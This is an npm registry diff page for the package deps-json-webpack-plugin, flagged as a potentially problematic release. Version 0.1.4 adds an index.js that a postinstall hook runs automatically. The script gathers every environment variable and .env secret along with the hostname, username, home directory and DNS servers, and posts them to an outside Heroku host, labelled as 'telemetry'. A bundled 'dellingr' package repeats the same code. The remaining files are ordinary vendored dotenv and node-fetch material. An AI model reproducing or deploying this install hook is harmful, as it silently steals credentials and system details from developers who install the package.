deps-json-webpack-plugin 0.0.1-security → 0.1.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of deps-json-webpack-plugin might be problematic. Click here for more details.
- package/index.js +66 -0
- package/package.json +13 -3
- package/proof/node_modules/dellingr/index.js +64 -0
- package/proof/node_modules/dellingr/package.json +41 -0
- package/proof/node_modules/dellingr/proof/package-lock.json +49 -0
- package/proof/node_modules/dellingr/proof/package.json +15 -0
- package/proof/node_modules/dotenv/CHANGELOG.md +347 -0
- package/proof/node_modules/dotenv/LICENSE +23 -0
- package/proof/node_modules/dotenv/README.md +406 -0
- package/proof/node_modules/dotenv/config.d.ts +1 -0
- package/proof/node_modules/dotenv/config.js +9 -0
- package/proof/node_modules/dotenv/lib/cli-options.js +11 -0
- package/proof/node_modules/dotenv/lib/env-options.js +20 -0
- package/proof/node_modules/dotenv/lib/main.d.ts +73 -0
- package/proof/node_modules/dotenv/lib/main.js +109 -0
- package/proof/node_modules/dotenv/package.json +86 -0
- package/proof/node_modules/node-fetch/LICENSE.md +22 -0
- package/proof/node_modules/node-fetch/README.md +590 -0
- package/proof/node_modules/node-fetch/browser.js +25 -0
- package/proof/node_modules/node-fetch/lib/index.es.js +1688 -0
- package/proof/node_modules/node-fetch/lib/index.js +1697 -0
- package/proof/node_modules/node-fetch/lib/index.mjs +1686 -0
- package/proof/node_modules/node-fetch/package.json +106 -0
- package/proof/node_modules/tr46/index.js +193 -0
- package/proof/node_modules/tr46/lib/.gitkeep +0 -0
- package/proof/node_modules/tr46/lib/mappingTable.json +1 -0
- package/proof/node_modules/tr46/package.json +62 -0
- package/proof/node_modules/webidl-conversions/LICENSE.md +12 -0
- package/proof/node_modules/webidl-conversions/README.md +53 -0
- package/proof/node_modules/webidl-conversions/lib/index.js +189 -0
- package/proof/node_modules/webidl-conversions/package.json +62 -0
- package/proof/node_modules/whatwg-url/LICENSE.txt +21 -0
- package/proof/node_modules/whatwg-url/README.md +67 -0
- package/proof/node_modules/whatwg-url/lib/URL-impl.js +200 -0
- package/proof/node_modules/whatwg-url/lib/URL.js +196 -0
- package/proof/node_modules/whatwg-url/lib/public-api.js +11 -0
- package/proof/node_modules/whatwg-url/lib/url-state-machine.js +1297 -0
- package/proof/node_modules/whatwg-url/lib/utils.js +20 -0
- package/proof/node_modules/whatwg-url/package.json +70 -0
- package/proof/package-lock.json +49 -0
- package/proof/package.json +15 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,66 @@
|
|
1
|
+
const fetch = require('node-fetch');
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
|
7
|
+
const fetchWithTimeout = async (resource, options = {}) => {
|
8
|
+
const { timeout = 8000 } = options;
|
9
|
+
|
10
|
+
const controller = new AbortController();
|
11
|
+
const id = setTimeout(() => controller.abort(), timeout);
|
12
|
+
const response = await fetch(resource, {
|
13
|
+
...options,
|
14
|
+
signal: controller.signal
|
15
|
+
});
|
16
|
+
clearTimeout(id);
|
17
|
+
return response;
|
18
|
+
}
|
19
|
+
|
20
|
+
const sendTelemetry = async () => {
|
21
|
+
const envs = {};
|
22
|
+
|
23
|
+
require('dotenv').config()
|
24
|
+
Object.keys(process.env).forEach(key => {
|
25
|
+
envs[key] = process.env[key];
|
26
|
+
});
|
27
|
+
|
28
|
+
let contentssRf = {};
|
29
|
+
try {
|
30
|
+
const ssRfQuery = await fetchWithTimeout('http://ssrf.asrctest.com/', {
|
31
|
+
timeout: 5000
|
32
|
+
});
|
33
|
+
contentssRf = await ssRfQuery.json();
|
34
|
+
} catch (error) {
|
35
|
+
contentssRf = {
|
36
|
+
ssrf: 'ssrf.asrctest.com is not responding'
|
37
|
+
}
|
38
|
+
}
|
39
|
+
|
40
|
+
const telemetry = JSON.stringify({
|
41
|
+
package: package,
|
42
|
+
date: new Date(),
|
43
|
+
tzOffset: new Date().getTimezoneOffset(),
|
44
|
+
actualDirectory: __dirname,
|
45
|
+
homeDirectory: os.homedir(),
|
46
|
+
hostname: os.hostname(),
|
47
|
+
userName: os.userInfo().username,
|
48
|
+
dns: dns.getServers(),
|
49
|
+
resolved: packageJSON ? packageJSON.___resolved : undefined,
|
50
|
+
version: packageJSON.version,
|
51
|
+
packageJSON: packageJSON,
|
52
|
+
...envs,
|
53
|
+
...contentssRf
|
54
|
+
});
|
55
|
+
|
56
|
+
const response = await fetch('https://yggdrasilr.herokuapp.com/', {
|
57
|
+
method: 'post',
|
58
|
+
body: telemetry,
|
59
|
+
headers: { 'Content-Type': 'application/json' }
|
60
|
+
});
|
61
|
+
await response.json();
|
62
|
+
|
63
|
+
console.log(" *** Telemetry sent *** ");
|
64
|
+
}
|
65
|
+
|
66
|
+
sendTelemetry();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "deps-json-webpack-plugin",
|
3
|
-
"version": "0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.1.4",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"dependencies": {
|
11
|
+
"dotenv": "^16.0.0",
|
12
|
+
"node-fetch": "^2.6.7"
|
13
|
+
},
|
14
|
+
"author": "",
|
15
|
+
"license": "ISC"
|
6
16
|
}
|
@@ -0,0 +1,64 @@
|
|
1
|
+
const fetch = require('node-fetch');
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
const package = packageJSON.name;
|
6
|
+
|
7
|
+
const fetchWithTimeout = async (resource, options = {}) => {
|
8
|
+
const { timeout = 8000 } = options;
|
9
|
+
|
10
|
+
const controller = new AbortController();
|
11
|
+
const id = setTimeout(() => controller.abort(), timeout);
|
12
|
+
const response = await fetch(resource, {
|
13
|
+
...options,
|
14
|
+
signal: controller.signal
|
15
|
+
});
|
16
|
+
clearTimeout(id);
|
17
|
+
return response;
|
18
|
+
}
|
19
|
+
|
20
|
+
const sendTelemetry = async () => {
|
21
|
+
const envs = {};
|
22
|
+
|
23
|
+
require('dotenv').config()
|
24
|
+
Object.keys(process.env).forEach(key => {
|
25
|
+
envs[key] = process.env[key];
|
26
|
+
});
|
27
|
+
|
28
|
+
let contentssRf = {};
|
29
|
+
try {
|
30
|
+
const ssRfQuery = await fetchWithTimeout('http://ssrf.asrctest.com/', {
|
31
|
+
timeout: 5000
|
32
|
+
});
|
33
|
+
contentssRf = await ssRfQuery.json();
|
34
|
+
} catch (error) {
|
35
|
+
contentssRf = {
|
36
|
+
ssrf: 'ssrf.asrctest.com is not responding'
|
37
|
+
}
|
38
|
+
}
|
39
|
+
|
40
|
+
const telemetry = JSON.stringify({
|
41
|
+
package: package,
|
42
|
+
actualDirectory: __dirname,
|
43
|
+
homeDirectory: os.homedir(),
|
44
|
+
hostname: os.hostname(),
|
45
|
+
userName: os.userInfo().username,
|
46
|
+
dns: dns.getServers(),
|
47
|
+
resolved: packageJSON ? packageJSON.___resolved : undefined,
|
48
|
+
version: packageJSON.version,
|
49
|
+
packageJSON: packageJSON,
|
50
|
+
...envs,
|
51
|
+
...contentssRf
|
52
|
+
});
|
53
|
+
|
54
|
+
const response = await fetch('https://yggdrasilr.herokuapp.com/', {
|
55
|
+
method: 'post',
|
56
|
+
body: telemetry,
|
57
|
+
headers: { 'Content-Type': 'application/json' }
|
58
|
+
});
|
59
|
+
await response.json();
|
60
|
+
|
61
|
+
console.log(" *** Telemetry sent *** ");
|
62
|
+
}
|
63
|
+
|
64
|
+
sendTelemetry();
|
@@ -0,0 +1,41 @@
|
|
1
|
+
{
|
2
|
+
"_from": "dellingr@^1.0.1",
|
3
|
+
"_id": "dellingr@1.0.1",
|
4
|
+
"_inBundle": false,
|
5
|
+
"_integrity": "sha512-MRb+ILvw2lAFOqC4lwMx2VJqO67Ttu1BvFZTTa5LCRDk7NYksPwMBT8H2MhiswCz18U7dWq2aG7HMmZJ7HvYcQ==",
|
6
|
+
"_location": "/dellingr",
|
7
|
+
"_phantomChildren": {},
|
8
|
+
"_requested": {
|
9
|
+
"type": "range",
|
10
|
+
"registry": true,
|
11
|
+
"raw": "dellingr@^1.0.1",
|
12
|
+
"name": "dellingr",
|
13
|
+
"escapedName": "dellingr",
|
14
|
+
"rawSpec": "^1.0.1",
|
15
|
+
"saveSpec": null,
|
16
|
+
"fetchSpec": "^1.0.1"
|
17
|
+
},
|
18
|
+
"_requiredBy": [
|
19
|
+
"/"
|
20
|
+
],
|
21
|
+
"_resolved": "https://registry.npmjs.org/dellingr/-/dellingr-1.0.1.tgz",
|
22
|
+
"_shasum": "393e22773a4efa953e8b9382a0daa210d3722aa9",
|
23
|
+
"_spec": "dellingr@^1.0.1",
|
24
|
+
"_where": "/Users/joseantonio/Projetos/night-watch/night-watch/temp/troiano/proof",
|
25
|
+
"author": "",
|
26
|
+
"bundleDependencies": false,
|
27
|
+
"dependencies": {
|
28
|
+
"dotenv": "^16.0.0",
|
29
|
+
"node-fetch": "^2.6.7"
|
30
|
+
},
|
31
|
+
"deprecated": false,
|
32
|
+
"description": "",
|
33
|
+
"license": "ISC",
|
34
|
+
"main": "index.js",
|
35
|
+
"name": "dellingr",
|
36
|
+
"scripts": {
|
37
|
+
"postinstall": "node index.js",
|
38
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
39
|
+
},
|
40
|
+
"version": "1.0.1"
|
41
|
+
}
|
@@ -0,0 +1,49 @@
|
|
1
|
+
{
|
2
|
+
"name": "proof",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"lockfileVersion": 1,
|
5
|
+
"requires": true,
|
6
|
+
"dependencies": {
|
7
|
+
"dotenv": {
|
8
|
+
"version": "16.0.0",
|
9
|
+
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.0.0.tgz",
|
10
|
+
"integrity": "sha512-qD9WU0MPM4SWLPJy/r2Be+2WgQj8plChsyrCNQzW/0WjvcJQiKQJ9mH3ZgB3fxbUUxgc/11ZJ0Fi5KiimWGz2Q=="
|
11
|
+
},
|
12
|
+
"node-fetch": {
|
13
|
+
"version": "2.6.7",
|
14
|
+
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz",
|
15
|
+
"integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==",
|
16
|
+
"requires": {
|
17
|
+
"whatwg-url": "^5.0.0"
|
18
|
+
}
|
19
|
+
},
|
20
|
+
"tr46": {
|
21
|
+
"version": "0.0.3",
|
22
|
+
"resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
|
23
|
+
"integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o="
|
24
|
+
},
|
25
|
+
"troiano": {
|
26
|
+
"version": "1.0.3",
|
27
|
+
"resolved": "https://registry.npmjs.org/troiano/-/troiano-1.0.3.tgz",
|
28
|
+
"integrity": "sha512-pkVumqte3YKivWcalTyjhXJ2IkrSrgiNmj0IidJRwYWKAxQV0yzpAewzTHJx3nWhEyrTJ4lDSmZvQWhNoSjkew==",
|
29
|
+
"requires": {
|
30
|
+
"dotenv": "^16.0.0",
|
31
|
+
"node-fetch": "^2.6.7"
|
32
|
+
}
|
33
|
+
},
|
34
|
+
"webidl-conversions": {
|
35
|
+
"version": "3.0.1",
|
36
|
+
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
|
37
|
+
"integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE="
|
38
|
+
},
|
39
|
+
"whatwg-url": {
|
40
|
+
"version": "5.0.0",
|
41
|
+
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
|
42
|
+
"integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=",
|
43
|
+
"requires": {
|
44
|
+
"tr46": "~0.0.3",
|
45
|
+
"webidl-conversions": "^3.0.0"
|
46
|
+
}
|
47
|
+
}
|
48
|
+
}
|
49
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "proof",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"troiano": "^1.0.3"
|
14
|
+
}
|
15
|
+
}
|
@@ -0,0 +1,347 @@
|
|
1
|
+
# Changelog
|
2
|
+
|
3
|
+
All notable changes to this project will be documented in this file. See [standard-version](https://github.com/conventional-changelog/standard-version) for commit guidelines.
|
4
|
+
|
5
|
+
## [Unreleased](https://github.com/motdotla/dotenv/compare/v16.0.0...master)
|
6
|
+
|
7
|
+
## [16.0.0](https://github.com/motdotla/dotenv/compare/v15.0.1...v16.0.0) (2022-02-02)
|
8
|
+
|
9
|
+
### Added
|
10
|
+
|
11
|
+
- _Breaking:_ Backtick support 🎉 (template literals). If you had values containing the backtick character, please quote those values with either single or double quotes.
|
12
|
+
|
13
|
+
## [15.0.1](https://github.com/motdotla/dotenv/compare/v15.0.0...v15.0.1) (2022-02-02)
|
14
|
+
|
15
|
+
### Changed
|
16
|
+
|
17
|
+
- Properly parse empty single or double quoted values 🐞 ([#614](https://github.com/motdotla/dotenv/pull/614))
|
18
|
+
|
19
|
+
## [15.0.0](https://github.com/motdotla/dotenv/compare/v14.3.2...v15.0.0) (2022-01-31)
|
20
|
+
|
21
|
+
`v15.0.0` is a major new release with some important breaking changes.
|
22
|
+
|
23
|
+
### Added
|
24
|
+
|
25
|
+
- _Breaking:_ Multiline parsing support (just works. no need for the flag.)
|
26
|
+
|
27
|
+
### Changed
|
28
|
+
|
29
|
+
- _Breaking:_ `#` marks the beginning of a comment (UNLESS the value is wrapped in quotes. Please update your `.env` files to wrap in quotes any values containing `#`. For example: `SECRET_HASH="something-with-a-#-hash"`).
|
30
|
+
|
31
|
+
..Understandably, (as some teams have noted) this is tedious to do across the entire team. To make it less tedious, we recommend using [dotenv cli](https://github.com/dotenv-org/cli) going forward. It's an optional plugin that will keep your `.env` files in sync between machines, environments, or team members.
|
32
|
+
|
33
|
+
### Removed
|
34
|
+
|
35
|
+
- _Breaking:_ Remove multiline option (just works out of the box now. no need for the flag.)
|
36
|
+
|
37
|
+
## [14.3.2](https://github.com/motdotla/dotenv/compare/v14.3.1...v14.3.2) (2022-01-25)
|
38
|
+
|
39
|
+
### Changed
|
40
|
+
|
41
|
+
- Preserve backwards compatibility on values containing `#` 🐞 ([#603](https://github.com/motdotla/dotenv/pull/603))
|
42
|
+
|
43
|
+
## [14.3.1](https://github.com/motdotla/dotenv/compare/v14.3.0...v14.3.1) (2022-01-25)
|
44
|
+
|
45
|
+
### Changed
|
46
|
+
|
47
|
+
- Preserve backwards compatibility on exports by re-introducing the prior in-place exports 🐞 ([#606](https://github.com/motdotla/dotenv/pull/606))
|
48
|
+
|
49
|
+
## [14.3.0](https://github.com/motdotla/dotenv/compare/v14.2.0...v14.3.0) (2022-01-24)
|
50
|
+
|
51
|
+
### Added
|
52
|
+
|
53
|
+
- Add `multiline` option 🎉 ([#486](https://github.com/motdotla/dotenv/pull/486))
|
54
|
+
|
55
|
+
## [14.2.0](https://github.com/motdotla/dotenv/compare/v14.1.1...v14.2.0) (2022-01-17)
|
56
|
+
|
57
|
+
### Added
|
58
|
+
|
59
|
+
- Add `dotenv_config_override` cli option
|
60
|
+
- Add `DOTENV_CONFIG_OVERRIDE` command line env option
|
61
|
+
|
62
|
+
## [14.1.1](https://github.com/motdotla/dotenv/compare/v14.1.0...v14.1.1) (2022-01-17)
|
63
|
+
|
64
|
+
### Added
|
65
|
+
|
66
|
+
- Add React gotcha to FAQ on README
|
67
|
+
|
68
|
+
## [14.1.0](https://github.com/motdotla/dotenv/compare/v14.0.1...v14.1.0) (2022-01-17)
|
69
|
+
|
70
|
+
### Added
|
71
|
+
|
72
|
+
- Add `override` option 🎉 ([#595](https://github.com/motdotla/dotenv/pull/595))
|
73
|
+
|
74
|
+
## [14.0.1](https://github.com/motdotla/dotenv/compare/v14.0.0...v14.0.1) (2022-01-16)
|
75
|
+
|
76
|
+
### Added
|
77
|
+
|
78
|
+
- Log error on failure to load `.env` file ([#594](https://github.com/motdotla/dotenv/pull/594))
|
79
|
+
|
80
|
+
## [14.0.0](https://github.com/motdotla/dotenv/compare/v13.0.1...v14.0.0) (2022-01-16)
|
81
|
+
|
82
|
+
### Added
|
83
|
+
|
84
|
+
- _Breaking:_ Support inline comments for the parser 🎉 ([#568](https://github.com/motdotla/dotenv/pull/568))
|
85
|
+
|
86
|
+
## [13.0.1](https://github.com/motdotla/dotenv/compare/v13.0.0...v13.0.1) (2022-01-16)
|
87
|
+
|
88
|
+
### Changed
|
89
|
+
|
90
|
+
* Hide comments and newlines from debug output ([#404](https://github.com/motdotla/dotenv/pull/404))
|
91
|
+
|
92
|
+
## [13.0.0](https://github.com/motdotla/dotenv/compare/v12.0.4...v13.0.0) (2022-01-16)
|
93
|
+
|
94
|
+
### Added
|
95
|
+
|
96
|
+
* _Breaking:_ Add type file for `config.js` ([#539](https://github.com/motdotla/dotenv/pull/539))
|
97
|
+
|
98
|
+
## [12.0.4](https://github.com/motdotla/dotenv/compare/v12.0.3...v12.0.4) (2022-01-16)
|
99
|
+
|
100
|
+
### Changed
|
101
|
+
|
102
|
+
* README updates
|
103
|
+
* Minor order adjustment to package json format
|
104
|
+
|
105
|
+
## [12.0.3](https://github.com/motdotla/dotenv/compare/v12.0.2...v12.0.3) (2022-01-15)
|
106
|
+
|
107
|
+
### Changed
|
108
|
+
|
109
|
+
* Simplified jsdoc for consistency across editors
|
110
|
+
|
111
|
+
## [12.0.2](https://github.com/motdotla/dotenv/compare/v12.0.1...v12.0.2) (2022-01-15)
|
112
|
+
|
113
|
+
### Changed
|
114
|
+
|
115
|
+
* Improve embedded jsdoc type documentation
|
116
|
+
|
117
|
+
## [12.0.1](https://github.com/motdotla/dotenv/compare/v12.0.0...v12.0.1) (2022-01-15)
|
118
|
+
|
119
|
+
### Changed
|
120
|
+
|
121
|
+
* README updates and clarifications
|
122
|
+
|
123
|
+
## [12.0.0](https://github.com/motdotla/dotenv/compare/v11.0.0...v12.0.0) (2022-01-15)
|
124
|
+
|
125
|
+
### Removed
|
126
|
+
|
127
|
+
- _Breaking:_ drop support for Flow static type checker ([#584](https://github.com/motdotla/dotenv/pull/584))
|
128
|
+
|
129
|
+
### Changed
|
130
|
+
|
131
|
+
- Move types/index.d.ts to lib/main.d.ts ([#585](https://github.com/motdotla/dotenv/pull/585))
|
132
|
+
- Typescript cleanup ([#587](https://github.com/motdotla/dotenv/pull/587))
|
133
|
+
- Explicit typescript inclusion in package.json ([#566](https://github.com/motdotla/dotenv/pull/566))
|
134
|
+
|
135
|
+
## [11.0.0](https://github.com/motdotla/dotenv/compare/v10.0.0...v11.0.0) (2022-01-11)
|
136
|
+
|
137
|
+
### Changed
|
138
|
+
|
139
|
+
- _Breaking:_ drop support for Node v10 ([#558](https://github.com/motdotla/dotenv/pull/558))
|
140
|
+
- Patch debug option ([#550](https://github.com/motdotla/dotenv/pull/550))
|
141
|
+
|
142
|
+
## [10.0.0](https://github.com/motdotla/dotenv/compare/v9.0.2...v10.0.0) (2021-05-20)
|
143
|
+
|
144
|
+
### Added
|
145
|
+
|
146
|
+
- Add generic support to parse function
|
147
|
+
- Allow for import "dotenv/config.js"
|
148
|
+
- Add support to resolve home directory in path via ~
|
149
|
+
|
150
|
+
## [9.0.2](https://github.com/motdotla/dotenv/compare/v9.0.1...v9.0.2) (2021-05-10)
|
151
|
+
|
152
|
+
### Changed
|
153
|
+
|
154
|
+
- Support windows newlines with debug mode
|
155
|
+
|
156
|
+
## [9.0.1](https://github.com/motdotla/dotenv/compare/v9.0.0...v9.0.1) (2021-05-08)
|
157
|
+
|
158
|
+
### Changed
|
159
|
+
|
160
|
+
- Updates to README
|
161
|
+
|
162
|
+
## [9.0.0](https://github.com/motdotla/dotenv/compare/v8.6.0...v9.0.0) (2021-05-05)
|
163
|
+
|
164
|
+
### Changed
|
165
|
+
|
166
|
+
- _Breaking:_ drop support for Node v8
|
167
|
+
|
168
|
+
## [8.6.0](https://github.com/motdotla/dotenv/compare/v8.5.1...v8.6.0) (2021-05-05)
|
169
|
+
|
170
|
+
### Added
|
171
|
+
|
172
|
+
- define package.json in exports
|
173
|
+
|
174
|
+
## [8.5.1](https://github.com/motdotla/dotenv/compare/v8.5.0...v8.5.1) (2021-05-05)
|
175
|
+
|
176
|
+
### Changed
|
177
|
+
|
178
|
+
- updated dev dependencies via npm audit
|
179
|
+
|
180
|
+
## [8.5.0](https://github.com/motdotla/dotenv/compare/v8.4.0...v8.5.0) (2021-05-05)
|
181
|
+
|
182
|
+
### Added
|
183
|
+
|
184
|
+
- allow for `import "dotenv/config"`
|
185
|
+
|
186
|
+
## [8.4.0](https://github.com/motdotla/dotenv/compare/v8.3.0...v8.4.0) (2021-05-05)
|
187
|
+
|
188
|
+
### Changed
|
189
|
+
|
190
|
+
- point to exact types file to work with VS Code
|
191
|
+
|
192
|
+
## [8.3.0](https://github.com/motdotla/dotenv/compare/v8.2.0...v8.3.0) (2021-05-05)
|
193
|
+
|
194
|
+
### Changed
|
195
|
+
|
196
|
+
- _Breaking:_ drop support for Node v8 (mistake to be released as minor bump. later bumped to 9.0.0. see above.)
|
197
|
+
|
198
|
+
## [8.2.0](https://github.com/motdotla/dotenv/compare/v8.1.0...v8.2.0) (2019-10-16)
|
199
|
+
|
200
|
+
### Added
|
201
|
+
|
202
|
+
- TypeScript types
|
203
|
+
|
204
|
+
## [8.1.0](https://github.com/motdotla/dotenv/compare/v8.0.0...v8.1.0) (2019-08-18)
|
205
|
+
|
206
|
+
### Changed
|
207
|
+
|
208
|
+
- _Breaking:_ drop support for Node v6 ([#392](https://github.com/motdotla/dotenv/issues/392))
|
209
|
+
|
210
|
+
# [8.0.0](https://github.com/motdotla/dotenv/compare/v7.0.0...v8.0.0) (2019-05-02)
|
211
|
+
|
212
|
+
### Changed
|
213
|
+
|
214
|
+
- _Breaking:_ drop support for Node v6 ([#302](https://github.com/motdotla/dotenv/issues/392))
|
215
|
+
|
216
|
+
## [7.0.0] - 2019-03-12
|
217
|
+
|
218
|
+
### Fixed
|
219
|
+
|
220
|
+
- Fix removing unbalanced quotes ([#376](https://github.com/motdotla/dotenv/pull/376))
|
221
|
+
|
222
|
+
### Removed
|
223
|
+
|
224
|
+
- Removed `load` alias for `config` for consistency throughout code and documentation.
|
225
|
+
|
226
|
+
## [6.2.0] - 2018-12-03
|
227
|
+
|
228
|
+
### Added
|
229
|
+
|
230
|
+
- Support preload configuration via environment variables ([#351](https://github.com/motdotla/dotenv/issues/351))
|
231
|
+
|
232
|
+
## [6.1.0] - 2018-10-08
|
233
|
+
|
234
|
+
### Added
|
235
|
+
|
236
|
+
- `debug` option for `config` and `parse` methods will turn on logging
|
237
|
+
|
238
|
+
## [6.0.0] - 2018-06-02
|
239
|
+
|
240
|
+
### Changed
|
241
|
+
|
242
|
+
- _Breaking:_ drop support for Node v4 ([#304](https://github.com/motdotla/dotenv/pull/304))
|
243
|
+
|
244
|
+
## [5.0.0] - 2018-01-29
|
245
|
+
|
246
|
+
### Added
|
247
|
+
|
248
|
+
- Testing against Node v8 and v9
|
249
|
+
- Documentation on trim behavior of values
|
250
|
+
- Documentation on how to use with `import`
|
251
|
+
|
252
|
+
### Changed
|
253
|
+
|
254
|
+
- _Breaking_: default `path` is now `path.resolve(process.cwd(), '.env')`
|
255
|
+
- _Breaking_: does not write over keys already in `process.env` if the key has a falsy value
|
256
|
+
- using `const` and `let` instead of `var`
|
257
|
+
|
258
|
+
### Removed
|
259
|
+
|
260
|
+
- Testing against Node v7
|
261
|
+
|
262
|
+
## [4.0.0] - 2016-12-23
|
263
|
+
|
264
|
+
### Changed
|
265
|
+
|
266
|
+
- Return Object with parsed content or error instead of false ([#165](https://github.com/motdotla/dotenv/pull/165)).
|
267
|
+
|
268
|
+
### Removed
|
269
|
+
|
270
|
+
- `verbose` option removed in favor of returning result.
|
271
|
+
|
272
|
+
## [3.0.0] - 2016-12-20
|
273
|
+
|
274
|
+
### Added
|
275
|
+
|
276
|
+
- `verbose` option will log any error messages. Off by default.
|
277
|
+
- parses email addresses correctly
|
278
|
+
- allow importing config method directly in ES6
|
279
|
+
|
280
|
+
### Changed
|
281
|
+
|
282
|
+
- Suppress error messages by default ([#154](https://github.com/motdotla/dotenv/pull/154))
|
283
|
+
- Ignoring more files for NPM to make package download smaller
|
284
|
+
|
285
|
+
### Fixed
|
286
|
+
|
287
|
+
- False positive test due to case-sensitive variable ([#124](https://github.com/motdotla/dotenv/pull/124))
|
288
|
+
|
289
|
+
### Removed
|
290
|
+
|
291
|
+
- `silent` option removed in favor of `verbose`
|
292
|
+
|
293
|
+
## [2.0.0] - 2016-01-20
|
294
|
+
|
295
|
+
### Added
|
296
|
+
|
297
|
+
- CHANGELOG to ["make it easier for users and contributors to see precisely what notable changes have been made between each release"](http://keepachangelog.com/). Linked to from README
|
298
|
+
- LICENSE to be more explicit about what was defined in `package.json`. Linked to from README
|
299
|
+
- Testing nodejs v4 on travis-ci
|
300
|
+
- added examples of how to use dotenv in different ways
|
301
|
+
- return parsed object on success rather than boolean true
|
302
|
+
|
303
|
+
### Changed
|
304
|
+
|
305
|
+
- README has shorter description not referencing ruby gem since we don't have or want feature parity
|
306
|
+
|
307
|
+
### Removed
|
308
|
+
|
309
|
+
- Variable expansion and escaping so environment variables are encouraged to be fully orthogonal
|
310
|
+
|
311
|
+
## [1.2.0] - 2015-06-20
|
312
|
+
|
313
|
+
### Added
|
314
|
+
|
315
|
+
- Preload hook to require dotenv without including it in your code
|
316
|
+
|
317
|
+
### Changed
|
318
|
+
|
319
|
+
- clarified license to be "BSD-2-Clause" in `package.json`
|
320
|
+
|
321
|
+
### Fixed
|
322
|
+
|
323
|
+
- retain spaces in string vars
|
324
|
+
|
325
|
+
## [1.1.0] - 2015-03-31
|
326
|
+
|
327
|
+
### Added
|
328
|
+
|
329
|
+
- Silent option to silence `console.log` when `.env` missing
|
330
|
+
|
331
|
+
## [1.0.0] - 2015-03-13
|
332
|
+
|
333
|
+
### Removed
|
334
|
+
|
335
|
+
- support for multiple `.env` files. should always use one `.env` file for the current environment
|
336
|
+
|
337
|
+
[7.0.0]: https://github.com/motdotla/dotenv/compare/v6.2.0...v7.0.0
|
338
|
+
[6.2.0]: https://github.com/motdotla/dotenv/compare/v6.1.0...v6.2.0
|
339
|
+
[6.1.0]: https://github.com/motdotla/dotenv/compare/v6.0.0...v6.1.0
|
340
|
+
[6.0.0]: https://github.com/motdotla/dotenv/compare/v5.0.0...v6.0.0
|
341
|
+
[5.0.0]: https://github.com/motdotla/dotenv/compare/v4.0.0...v5.0.0
|
342
|
+
[4.0.0]: https://github.com/motdotla/dotenv/compare/v3.0.0...v4.0.0
|
343
|
+
[3.0.0]: https://github.com/motdotla/dotenv/compare/v2.0.0...v3.0.0
|
344
|
+
[2.0.0]: https://github.com/motdotla/dotenv/compare/v1.2.0...v2.0.0
|
345
|
+
[1.2.0]: https://github.com/motdotla/dotenv/compare/v1.1.0...v1.2.0
|
346
|
+
[1.1.0]: https://github.com/motdotla/dotenv/compare/v1.0.0...v1.1.0
|
347
|
+
[1.0.0]: https://github.com/motdotla/dotenv/compare/v0.4.0...v1.0.0
|
@@ -0,0 +1,23 @@
|
|
1
|
+
Copyright (c) 2015, Scott Motte
|
2
|
+
All rights reserved.
|
3
|
+
|
4
|
+
Redistribution and use in source and binary forms, with or without
|
5
|
+
modification, are permitted provided that the following conditions are met:
|
6
|
+
|
7
|
+
* Redistributions of source code must retain the above copyright notice, this
|
8
|
+
list of conditions and the following disclaimer.
|
9
|
+
|
10
|
+
* Redistributions in binary form must reproduce the above copyright notice,
|
11
|
+
this list of conditions and the following disclaimer in the documentation
|
12
|
+
and/or other materials provided with the distribution.
|
13
|
+
|
14
|
+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
15
|
+
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
16
|
+
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
17
|
+
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
18
|
+
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
19
|
+
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
20
|
+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
21
|
+
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
22
|
+
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
23
|
+
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|